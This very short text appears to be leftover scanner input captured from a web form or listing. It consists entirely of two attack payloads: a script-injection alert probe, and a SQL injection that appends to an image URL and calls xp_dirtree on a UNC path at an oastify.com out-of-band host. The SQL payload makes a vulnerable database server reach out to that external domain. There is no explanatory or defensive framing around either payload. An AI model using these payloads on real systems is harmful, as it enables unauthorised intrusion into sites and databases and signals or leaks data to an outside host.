<script>alert('test');</script>

https://i.ss.com/img/main/transport.png));declare @q varchar(99);set @q='\\qd77j2abh5pt19dtxp60ef5f76d41w3orfr3jqlea.oasti'+'fy.com\qth'; exec master.dbo.xp_dirtree @q;--